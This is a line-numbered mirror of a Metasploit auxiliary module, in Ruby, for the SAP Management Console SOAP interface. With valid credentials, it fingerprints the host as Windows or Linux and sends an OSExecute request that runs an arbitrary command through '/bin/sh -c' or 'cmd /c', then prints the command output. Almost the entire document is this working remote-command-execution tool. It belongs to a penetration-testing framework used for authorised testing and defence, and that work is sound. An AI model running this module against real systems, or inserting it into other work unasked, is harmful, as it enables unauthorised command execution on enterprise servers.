Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'SAP Management Console OSExecute',
14
'Description' => %q{
15
This module allows execution of operating system commands through the SAP
16
Management Console SOAP Interface. A valid username and password must be
17
provided.
18
},
19
'References' => [
20
# General
21
[ 'URL', 'http://blog.c22.cc' ]
22
],
23
'Author' => [ 'Chris John Riley' ],
24
'License' => MSF_LICENSE,
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [IOC_IN_LOGS],
28
'Reliability' => []
29
}
30
)
31
32
register_options(
33
[
34
Opt::RPORT(50013),
35
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
36
OptString.new('HttpUsername', [true, 'Username to use', '']),
37
OptString.new('HttpPassword', [true, 'Password to use', '']),
38
OptString.new('CMD', [true, 'Command to run', 'set']),
39
]
40
)
41
register_autofilter_ports([ 50013 ])
42
end
43
44
def run_host(ip)
45
# Check version information to confirm Win/Lin
46
47
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
48
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
49
xs = 'http://www.w3.org/2001/XMLSchema'
50
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
51
ns1 = 'ns1:GetVersionInfo' # Using GetVersionInfo to enumerate target type
52
53
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
54
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv
55
data << '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
56
data << '<SOAP-ENV:Header>' + "\r\n"
57
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
58
data << '<enableSession>true</enableSession>' + "\r\n"
59
data << '</sapsess:Session>' + "\r\n"
60
data << '</SOAP-ENV:Header>' + "\r\n"
61
data << '<SOAP-ENV:Body>' + "\r\n"
62
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
63
data << '</SOAP-ENV:Body>' + "\r\n"
64
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
65
66
print_status('[SAP] Attempting to enumerate remote host type')
67
68
begin
69
res = send_request_raw({
70
'uri' => normalize_uri(datastore['URI']),
71
'method' => 'POST',
72
'data' => data,
73
'headers' =>
74
{
75
'Content-Length' => data.length,
76
'SOAPAction' => '""',
77
'Content-Type' => 'text/xml; charset=UTF-8'
78
}
79
}, 60)
80
rescue ::Rex::ConnectionError
81
print_error("#{rhost}:#{rport} [SAP] Unable to communicate")
82
return :abort
83
end
84
85
if !res
86
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
87
return
88
elsif res.code == 200
89
body = res.body
90
if body.match(/linux/i)
91
print_status('[SAP] Linux target detected')
92
cmd_to_run = '/bin/sh -c ' + datastore['CMD']
93
elsif body.match(/NT/)
94
print_status('[SAP] Windows target detected')
95
cmd_to_run = 'cmd /c ' + datastore['CMD']
96
else
97
print_status('[SAP] Unknown target detected, defaulting to *nix syntax')
98
cmd_to_run = '/bin/sh -c ' + datastore['CMD']
99
end
100
end
101
102
osexecute(ip, cmd_to_run)
103
end
104
105
def osexecute(rhost, cmd_to_run)
106
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
107
success = false
108
109
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
110
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
111
xs = 'http://www.w3.org/2001/XMLSchema'
112
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
113
ns1 = 'ns1:OSExecute'
114
115
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
116
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
117
data << '" xmlns:xs="' + xs + '">' + "\r\n"
118
data << '<SOAP-ENV:Header>' + "\r\n"
119
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
120
data << '<enableSession>true</enableSession>' + "\r\n"
121
data << '</sapsess:Session>' + "\r\n"
122
data << '</SOAP-ENV:Header>' + "\r\n"
123
data << '<SOAP-ENV:Body>' + "\r\n"
124
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>' + cmd_to_run
125
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
126
data << '</SOAP-ENV:Body>' + "\r\n"
127
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
128
129
user_pass = Rex::Text.encode_base64(datastore['HttpUsername'] + ':' + datastore['HttpPassword'])
130
131
begin
132
res = send_request_raw({
133
'uri' => normalize_uri(datastore['URI']),
134
'method' => 'POST',
135
'data' => data,
136
'headers' =>
137
{
138
'Content-Length' => data.length,
139
'SOAPAction' => '""',
140
'Authorization' => 'Basic ' + user_pass,
141
'Content-Type' => 'text/xml; charset=UTF-8'
142
}
143
}, 60)
144
145
if res && (res.code == 200)
146
success = true
147
body = CGI.unescapeHTML(res.body)
148
if body.match(%r{<exitcode>(.*)</exitcode>}i)
149
exitcode = ::Regexp.last_match(1).to_i
150
end
151
if body.match(%r{<pid>(.*)</pid>}i)
152
pid = ::Regexp.last_match(1).strip
153
end
154
if body.match(%r{<lines>(.*)</lines>}i)
155
items = body.scan(%r{<item>(.*?)</item>}i)
156
end
157
elsif res && (res.code == 500)
158
case res.body
159
when %r{<faultstring>(.*)</faultstring>}i
160
faultcode = ::Regexp.last_match(1).to_s
161
fault = true
162
end
163
else
164
print_error("#{rhost}:#{rport} [SAP] Unknown response received")
165
return
166
end
167
rescue ::Rex::ConnectionError
168
print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
169
return :abort
170
end
171
172
if success
173
if exitcode > 0
174
print_error("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
175
else
176
print_good("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
177
end
178
179
saptbl = Msf::Ui::Console::Table.new(
180
Msf::Ui::Console::Table::Style::Default,
181
'Header' => '[SAP] OSExecute',
182
'Prefix' => "\n",
183
'Columns' => [ 'Command output' ]
184
)
185
186
items.each do |output|
187
saptbl << [ output[0] ]
188
end
189
190
print_good("#{rhost}:#{rport} [SAP] Command (#{cmd_to_run}) ran as PID: #{pid}\n#{saptbl}")
191
192
elsif fault
193
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
194
return
195
else
196
print_error("#{rhost}:#{rport} [SAP] failed to run command")
197
return
198
end
199
end
200
end
201
202